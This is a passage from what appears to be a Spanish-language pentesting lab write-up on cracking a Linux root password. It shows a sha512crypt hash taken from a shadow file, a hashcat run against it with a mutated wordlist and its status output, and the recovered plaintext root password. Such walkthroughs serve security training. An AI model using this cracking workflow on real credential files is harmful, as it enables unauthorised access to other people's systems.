$6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.:J0rd@n5

...

También podríamos centrarnos solo en el hash de root, que es el que nos interesa:

root.hash
$6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.
afsh4ck@kali$ hashcat -m 1800 root.hash mut_password.list 

hashcat (v6.2.6) starting

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u...fqhXg.
Time.Started.....: Tue Apr  2 11:22:58 2024 (29 secs)
Time.Estimated...: Tue Apr  2 11:24:20 2024 (53 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (mut_password.list)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1136 H/s (24.51ms) @ Accel:288 Loops:512 Thr:1 Vec:2
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 33120/94044 (35.22%)
Rejected.........: 0/33120 (0.00%)
Restore.Point....: 33120/94044 (35.22%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1536-2048
Candidate.Engine.: Device Generator
Candidates.#1....: Family2008 -> Fernand04!
Hardware.Mon.#1..: Util: 97%

$6$XePuRx/4eO0WuuPS$a0t5vIuIrBDFx1LyxAozOu.cVaww01u.6dSvct8AYVVI6ClJmY8ZZuPDP7IoXRJhYz4U8.DJUlilUw2EfqhXg.:J0rd@n5

Obtenemos correctamente la contraseña en plano del usuario root: J0rd@n5

Pluggable Authentication Modules
💣
🔑
🔑
🔑
Page cover image